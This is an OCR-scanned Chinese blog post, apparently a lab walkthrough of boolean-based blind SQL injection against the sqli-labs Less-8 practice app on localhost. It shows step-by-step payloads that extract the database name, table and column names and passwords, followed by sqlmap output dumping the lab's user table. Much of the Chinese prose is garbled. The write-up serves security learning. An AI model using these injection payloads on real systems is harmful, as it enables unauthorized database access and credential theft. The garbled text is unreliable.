B F X sqliE A\ 1

bmth666 o F 2020-02-26 18:53:40 K fi O 175 ﬁ iR 2

FREE: off LEHRE: sqli

FRAUE B : ASCAEERAISCE, 5 CC 4.0 BY-SA MR, H8iFMH EFESCH s mA RS,
A4 hitps://blog.csdn.net/bmth666/article/details/104520567

S E AL
22 mXE1ITH
ITRER
mEA R sqliEN T 1
F Al AR

1. BRINTEmysqlH fZ iinformation_schema$it# %, 7fEEHH =43, schemata, tables, columns.
2. tablesREFH PO IA BUREMR S, RPI0FEIEEE L MR LK 7B 4 Ntable_schemafitable_name.
3. columnsEfEFHFBIRMTERIEEESL, REMNFRE, BEEESL, R4, FB4L Ntable_scheam,table_name#l

column_name
4. VERETF: #E—(HIR) T M B
5. WEBER: /MY

BAET

?id=-1 /*!union*/ /*!select*/ 1,2,3
unionE N RTHE SIEVEE], BAERT

BoolianE 1+


https://blog.csdn.net/bmth666
https://blog.csdn.net/bmth666/category_9751531.html
https://so.csdn.net/so/search/s.do?q=sql&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/bmth666/article/details/104520567
https://blog.csdn.net/bmth666/category_9751531.html

S5 I sqli-labs-less-8
B RERE, &84 REUAEE

id=1 &I
© © 127.00.1/sqlilabs/Less-8/7id- BE90% 0 e 1Y @O e n @
BwErlE (P WIEsSSiiEt. (i) -EifEs. © 98 @ PTA | EmatEss. &) 4 © Nessus Essentisls /F.. @B

Welcome
You are in

ag.csdn.net/bmth

id=1" KIA [l &

© @ 127.00.1/sqlilabs/Less-8/?id- v EE (90% 0 e % iIn @O © 1
WELE (P nTossrems.. [EH] -STREsS.. © SPE @ PTA | EESERE.. &) &g © Nessus Essentials /F.. ) EE

Welcome

https://blog.csdn.net/bmth

AR —+ERE, S W B e K

http 127.0.0.1/sqlilabs/Less-8/?1d=1%27%20and%201length(database 3E=8



© @ 127.0.0.1/sqlilabs/Less-8/?id=1" and length(database()> =8-- v B e 1Y iIhn 0O © u ®
it @ FELE ([P TS rkiE.. [SfK] -SaMsE=.. © SPE @ PTA | EFEEHErs.. @) #iE © Nessus Essentials /F.. ©) B

Welcome
You are in...........

KEANIANEET
© @ 127.0.0.1/sglilabs/Less-8/7id=1" and length({database())>=9 v EE e W n o © g @
it @ FFELE (7 HIESSSREs. (B -SHREE.. © =L @ PTA | EFEEsk.. 6948 @ Nessus Essentials /F.. @ 3

B AWK N8, 3 1B 7 B B P 44

http 127.0.0.1/sqlilabs/Less-8/?1d=1%27%20and%20substr(database 1,1 27s%27



substr2 B R, ME—MITE, BKREE R

© @ 127.0.0.1/sqlilabs/Less-8/?id=1" and substr(database 1)="8"--+ v BE e Y NGO 6 1 @

st @ FELE [7 WTEEsrers.. (SR -SxkEs. © S22 Q@ PTA|EFEatESE.. 6) #i@ O Nessus Essentials /F.. @ EE

Welcome
You are in

LONSHIRHERIE, HB—NFENs
7] P yasciifd A& 2R

id=1' and ord(substr(database(),1,1))=asciifg

HHBE A
http://127.0.0.1/sqlilabs/Less-8/?1d=1%27%20and%20substr(database(),2,1)=%27e%27
BRANE W18 B HUE FE 4 security

FLEANEB. « 0 0 0 o o

127.0.0.1/sqlilabs/Less-8/?id=1" and substr((select table_name from information_schema.tables where table_schema
='security' limit 0,1),1,1)="a’

BHHE-NRPE DT, RIIRWEIE =K Nusers
RJE BT B

http 127.0.0.1/sqlilabs/Less-8/?1d=1%27%20and%20substr((select%20column_name’%20from’%20information_schema.colum
ns%20where’%20table_name=%27users%27%201imit%204,1),1,1 27p%27



© @ nformation_schema.columns where table_name="users' limit 4,1),1,1)="p'--4 v B2 <= if?‘ ine@D e &b @

e @ FFELE 7 mTEsSrkms.. [EK] -STREE. © S2E @ PTA|EFEHESR.. @) & @ Nessus Essentials /F.. @ BEE

Welcome
You are in...........

sdn.net/bmth

# Hipassword, username, TR+ ERH. o o o o

127.0.0.1/sqlilabs/Less-8/?id=1 d’

#—ARdumb, ¥iF—TF

‘ © (@ =1"and substr({select password from users order by id limit 0,1),2,1)="u" -+ ~ E& = ¥ ‘ in @O © b ®

AR @ HELE (P RIesssairs.. (&) -STHEs. © 532 @ PTA | BFSHETS.. @) &8 © Nessus Essentials /F.. @ EE

Welcome
You are in...........

BET!I L

£ 5] JTE S0 3 R PR B — L Y v

left((select database()),1)<'t’ IXFEH ELE — 20 B 3R 5 i5 PR IR ik
HEHFUXHS HEBEANZB

127.0.0.1/sqlilabs/Less-8/?id=1

users password'
© @ tion_schema.columns where table_name="users' limit 4,1),8)="password’ --+ v B = ¥ InN D © o @
Bt @ FELE (P oRTesssame.. [EfK] -S1FiEs.. © SEE Q) PTA | EEeHEss.. &) &iE © Nessus Essentials /F.. ©) BE

Welcome

You are in....




https:/blog.csdn.net/bmth666

BEARH, sqmapiEid

[18:38:30] retrieved: wp
4[15:35:35] retrieved: webug
M[18:38:39] retrieved: webug_sys

[18:38:40] [ retrieved: webug_width_hyte

[18:38:42] [ ] retrieved: dorabox
available databases [14]:

[*] challenges
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dvwa
information_schema
mysgl
performance_schema
plkachu

rkxss

security
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weblg

weblg_sys
webug_width_byte
W

:38:42] [ ] fetched data lozzed to text files under *C:'\Users‘AdministratoriippData‘Localsqlmap'output’127.0.0.1
:38:42] [WARNING]
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| username | password |
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adminl adminl
adming adminZ
admina admin3
admind admind
admins adminb
crappy
Dumb

dumb o
superman | genious
Anzelina I-kill-vou
batman mok!le
Dy plssword
stupid stupidity
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[18:43:10] [ ] table ' security.users dumped to CSV file "C:iUsers‘AdministratoriasppData‘local’\sqlmaphoutput’y127. 0. 0.
1 dunpsecuri tyhusers. csv’

[18:43:10] [ ] fetched data lozzed to text files under *C:'\Users‘\AdministratoriippData‘Local\sqlmap'output127.0.0.1
[128:43:10] [WARNING]
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